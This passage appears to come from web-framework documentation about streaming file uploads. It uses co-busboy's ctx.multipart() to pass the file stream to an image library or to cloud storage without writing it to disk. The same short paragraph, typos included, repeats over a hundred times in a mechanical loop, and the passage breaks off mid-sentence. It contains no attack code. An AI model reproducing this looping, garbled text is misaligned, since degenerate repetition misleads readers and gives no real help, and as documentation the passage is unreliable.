[co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, 